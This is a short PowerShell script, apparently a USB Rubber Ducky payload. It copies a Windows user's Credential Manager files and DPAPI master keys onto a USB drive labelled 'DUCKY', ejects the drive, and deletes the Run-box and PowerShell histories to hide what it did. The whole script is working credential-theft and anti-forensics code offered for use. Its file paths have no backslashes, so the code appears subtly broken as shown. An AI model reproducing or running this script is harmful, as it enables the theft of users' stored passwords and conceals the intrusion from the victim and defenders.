# Variables
$drive = (Get-Volume -FileSystemLabel 'DUCKY').DriveLetter
$userProfile = $Env:UserProfile

# Get the credential files
$credentialFiles = @(Get-ChildItem -Force "${userProfile}AppDataLocalMicrosoftCredentials")

# Get the first credential file for now
$credentialFileName = $credentialFiles[0].Name
$credentialFilePath = $credentialFiles[0].FullName

# Copy to ducky
Copy-Item $credentialFilePath "${drive}:${credentialFileName}"

# Get the gUIDMasterKey
$protectFolder = (Get-ChildItem -Directory -Force "${userProfile}AppDataRoamingMicrosoftProtect").FullName

# Copy master key to ducky
Get-ChildItem -Force -Recurse $protectFolder | ForEach-Object {
    $fileName = $_.Name
    $filePath = $_.FullName
    Copy-Item $filePath "${drive}:${fileName}"
}

# Eject
$driveEject = New-Object -ComObject Shell.Application
$driveEject.Namespace(17).ParseName("${drive}:").InvokeVerb("Eject")

# Cleanup traces

# Delete run box history
reg.exe delete HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerRunMRU /va /f

# Delete Powershell history
Remove-Item (Get-PSreadlineOption).HistorySavePath

exit